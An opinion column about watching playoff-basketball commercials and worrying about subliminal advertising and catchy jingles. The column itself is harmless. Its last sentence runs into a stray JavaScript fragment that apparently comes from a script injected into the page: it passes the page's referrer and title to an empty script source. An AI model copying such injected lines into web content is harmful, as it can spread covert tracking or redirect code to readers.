Give Me A Commercial Break


James Peru, Cactus Editor

Due to the recent start of playoff basketball, I have found myself watching more television in the last month than in the last year. This isn’t unusual; over the years I have made an effort to pull myself away from the hypnotizing cerulean glow of the T.V. and to find my entertainment in other, more enriching mediums. However, since the spectacle of playoff basketball is something that can only be witnessed on primetime television, I allow myself to be hypnotized for a few months out of the year—I guess you could call me a seasonal watcher.

Usually, my migration back onto the couch goes smoothly, and I find myself nestled as comfortably in front of the tube as a goose that has just plopped its backside into a warm pond after a long and treacherous flight. However, this year has been slightly different. Having recently come across a quote from Rance Crane, a former editor-in-chief of Advertising Age, stating, “Only eight per cent of an ad’s message is received by the conscious mind. The rest is worked and re-worked deep within, in the recesses of the brain,” I have become increasingly vigilant against all forms of advertising, and any subliminal messages contained within them. This new vigilance has enriched my T.V. watching experience. I have actually found myself looking forward to the commercial breaks, in hopes of decoding some of these subliminal messages.

Something important to keep in mind is that certain types of channels run certain types of advertisements based on the demographics of its viewers. For example: you are not likely to see a Hooters commercial run on the Lifetime Movie Network, or a Bacardi Rum commercial run on the Disney channel—at least I hope not. Since basketball has an even more specific viewing demographic (men), patterns of the commercials run during games are relatively easy to predict, and are as follows: alcohol, new truck, Taco Bell, action movie, alcohol, cell phone, alcohol, erectile dysfunction, new truck.

If the former editor-in-chief can be believed, and if these commercials really are burying themselves within our subconscious thought process, the consequences of a constant bombardment of these thoughts are frightening—drink, drive, eat, fight, blow shit up, repeat. While the end goal of advertising is to make money by calling attention to a product, certainly it can do so more responsibly.

Maybe I’m paranoid, and these commercials really are as trivial and meaningless as they appear. However, every time I catch myself whistling the tune from the Enzyte commercial, or humming that “The best part of waking up is Folgers in your cup,” my paranoia deepens. I ask myself “Where the hell did that come from? I haven’t seen that commercial in years! “ Maybe these commercials really have infiltrated my recesses. I can’t tell you what I ate for lunch on Monday; I don’t remember, but I could surely sing you a pitch-perfect, word for word rendition of the entire Meow Mix song.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;